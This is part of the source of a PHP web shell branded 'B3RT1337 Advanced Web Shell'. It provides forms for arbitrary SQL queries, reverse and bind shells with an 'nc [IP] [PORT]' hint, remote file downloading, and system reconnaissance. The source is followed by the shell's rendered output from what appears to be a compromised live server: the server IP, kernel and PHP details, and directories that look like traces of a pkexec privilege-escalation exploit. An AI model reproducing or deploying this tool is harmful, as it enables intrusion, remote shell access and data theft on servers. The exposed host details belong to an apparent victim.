                    <div class="card card-body bg-dark mb-3">
                        <h5>SQL Query</h5>
                        <form action="" method="post">
                            <div class="mb-2">
                                <textarea name="sql_query" rows="3" class="form-control form-control-sm" placeholder="SELECT * FROM users"><?= isset($_POST['sql_query']) ? htmlspecialchars($_POST['sql_query']) : '' ?></textarea>
                            </div>
                            <button type="submit" class="btn btn-outline-light btn-sm">Execute</button>
                        </form>
                    </div>
                    
                    <?php if (isset($_SESSION['sql_result'])) : ?>
                    <div class="card card-body bg-dark">
                        <h5>Query Results</h5>
                        <div class="table-responsive">
                            <table class="table table-dark table-sm">
                                <thead>
                                    <tr>
                                        <?php if (!empty($_SESSION['sql_result'])) : ?>
                                        <?php foreach (array_keys($_SESSION['sql_result'][0]) as $column) : ?>
                                        <th><?= htmlspecialchars($column) ?></th>
                                        <?php endforeach; ?>
                                        <?php endif; ?>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php foreach ($_SESSION['sql_result'] as $row) : ?>
                                    <tr>
                                        <?php foreach ($row as $value) : ?>
                                        <td><?= htmlspecialchars($value) ?></td>
                                        <?php endforeach; ?>
                                    </tr>
                                    <?php endforeach; ?>
                                </tbody>
                            </table>
                        </div>
                    </div>
                    <?php unset($_SESSION['sql_result']); endif; ?>
                    <?php endif; ?>
                </div>
                
                
                <div class="tab-pane fade" id="shell" role="tabpanel">
                    <div class="card card-body bg-dark mb-3">
                        <h5>Reverse Shell</h5>
                        <form action="" method="post">
                            <div class="row g-2">
                                <div class="col-md-8">
                                    <input type="text" class="form-control form-control-sm" name="reverse_ip" placeholder="Your IP" value="<?= isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '') ?>">
                                </div>
                                <div class="col-md-2">
                                    <input type="number" class="form-control form-control-sm" name="reverse_port" placeholder="Port" value="4444">
                                </div>
                                <div class="col-md-2">
                                    <button type="submit" class="btn btn-outline-light btn-sm w-100">Connect</button>
                                </div>
                            </div>
                        </form>
                    </div>
                    
                    <div class="card card-body bg-dark">
                        <h5>Bind Shell</h5>
                        <form action="" method="post">
                            <div class="row g-2">
                                <div class="col-md-2">
                                    <input type="number" class="form-control form-control-sm" name="bind_port" placeholder="Port" value="4444">
                                </div>
                                <div class="col-md-2">
                                    <button type="submit" class="btn btn-outline-light btn-sm w-100">Listen</button>
                                </div>
                                <div class="col-md-8">
                                    <small class="text-muted">After starting, connect with: nc [IP] [PORT]</small>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
                
                
                <div class="tab-pane fade" id="download" role="tabpanel">
                    <div class="card card-body bg-dark mb-3">
                        <h5>Download from URL</h5>
                        <form action="" method="post">
                            <div class="row g-2 mb-2">
                                <div class="col-md-8">
                                    <input type="text" class="form-control form-control-sm" name="remote_url" placeholder="http://example.com/file.txt">
                                </div>
                                <div class="col-md-4">
                                    <input type="text" class="form-control form-control-sm" name="local_path" placeholder="save_as.txt" value="<?= $path ?>/">
                                </div>
                            </div>
                            <button type="submit" class="btn btn-outline-light btn-sm">Download</button>
                        </form>
                    </div>
                    
                    <div class="card card-body bg-dark">
                        <h5>Mass Downloader</h5>
                        <form action="" method="post">
                            <div class="mb-2">
                                <textarea name="mass_urls" rows="5" class="form-control form-control-sm" placeholder="http://example.com/file1.txt&#10;http://example.com/file2.txt&#10;http://example.com/file3.txt"></textarea>
                            </div>
                            <div class="row g-2">
                                <div class="col-md-8">
                                    <input type="text" class="form-control form-control-sm" name="mass_path" placeholder="Save to directory" value="<?= $path ?>">
                                </div>
                                <div class="col-md-4">
                                    <button type="submit" class="btn btn-outline-light btn-sm w-100">Download All</button>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
                
                
                <div class="tab-pane fade" id="info" role="tabpanel">
                    <div class="card card-body bg-dark">
                        <h5>System Information</h5>
                        <pre>Uname: <?= $func[0]() ?>
PHP Version: <?= $func[3]() ?>
Server Software: <?= $_SERVER['SERVER_SOFTWARE'] ?>
Server Protocol: <?= $_SERVER['SERVER_PROTOCOL'] ?>
Server IP: <?= !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?>
Server Port: <?= $_SERVER['SERVER_PORT'] ?>
Current User: <?= $func[36](); ?>
Current Directory: <?= $func[12]() ?>
Disabled Functions: <?= $show_ds ?>
</pre>
                        
                        <h5 class="mt-3">PHP Configuration</h5>
                        <pre><?php 
                            $phpinfo = [
                                'allow_url_fopen' => ini_get('allow_url_fopen'),
                                'allow_url_include' => ini_get('allow_url_include'),
                                'disable_functions' => ini_get('disable_functions'),
                                'open_basedir' => ini_get('open_basedir'),
                                'safe_mode' => ini_get('safe_mode'),
                                'memory_limit' => ini_get('memory_limit'),
                                'max_execution_time' => ini_get('max_execution_time'),
                                'upload_max_filesize' => ini_get('upload_max_filesize'),
                                'post_max_size' => ini_get('post_max_size')
                            ];
                            foreach ($phpinfo as $key => $value) {
                                echo "$key: $value\n";
                            }
                        ?></pre>
                        
                        <h5 class="mt-3">Loaded Extensions</h5>
                        <pre><?= implode(', ', get_loaded_extensions()) ?></pre>
                    </div>
                </div>
            </div>
            
            <div class="mt-3 text-center text-muted">
                &copy; B3RT1337 | Advanced Web Shell - <?= date('Y') ?>
            </div>
        </div>
    </div>
    
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <script>
    <?php if (isset($_SESSION['message'])) : ?>
        Swal.fire({
            title: '<?= $_SESSION['status'] ?>',
            text: '<?= $_SESSION['message'] ?>',
            icon: '<?= $_SESSION['class'] ?>',
            timer: 3000,
            timerProgressBar: true
        });
    <?php endif; clear(); ?>
    
    function jscopy() {
        var jsCopy = document.getElementById("CopyFromTextArea");
        jsCopy.focus();
        jsCopy.select();
        document.execCommand("copy");
        Swal.fire({
            title: 'Copied!',
            text: 'Text copied to clipboard',
            icon: 'success',
            timer: 1000,
            timerProgressBar: true
        });
    }
    </script>
</body>
</html>

Cancel

Name	Type	Size	Owner/Group	Permission	Modified
.	dir	-	root/root	0777	2025-11-05 11:19
..	dir	-	root/root	0777	2025-10-28 20:59
.pkexec	dir	-	www-data/www-data	0755	2025-10-05 19:25
GCONV_PATH=.	dir	-	www-data/www-data	0755	2025-10-12 04:24
decay_sym	dir	-	www-data/www-data	0755	2025-10-05 19:28
WebShell.php	text/x-php	49.92 KB	www-data/www-data	0644	2025-10-28 21:29
mi-redmi-note-4-na-original-imaeqdxgtcgbgvfh.jpeg	image/jpeg	14.2 KB	root/root	0777	2018-03-14 10:55
mi-redmi-note-4-na-original-imaeqdxqcrfshtqu.jpeg	image/jpeg	34.36 KB	root/root	0777	2018-03-14 10:55

Database Connection

Reverse Shell

Bind Shell

Download from URL

Mass Downloader

System Information

Uname: Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64PHP Version: 7.4.3-4ubuntu2.29Server Software: Apache/2.4.41 (Ubuntu)Server Protocol: HTTP/1.1Server IP: 74.208.127.88Server Port: 443Current User: www-dataCurrent Directory: /var/www/html/admin/productimages/1Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

PHP Configuration

allow_url_fopen: 1
allow_url_include: 
disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
open_basedir: 
safe_mode: 
memory_limit: 128M
max_execution_time: 0
upload_max_filesize: 2M
post_max_size: 8M

Loaded Extensions

Core, date, libxml, openssl, pcre, zlib, filter, hash, Reflection, SPL, session, standard, sodium, apache2handler, mysqlnd, PDO, xml, bz2, calendar, ctype, curl, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, iconv, json, exif, mysqli, pdo_mysql, Phar, posix, readline, shmop, SimpleXML, soap, sockets, sysvmsg, sysvsem, sysvshm, tokenizer, xmlreader, xmlwriter, xsl, zip, Zend OPcache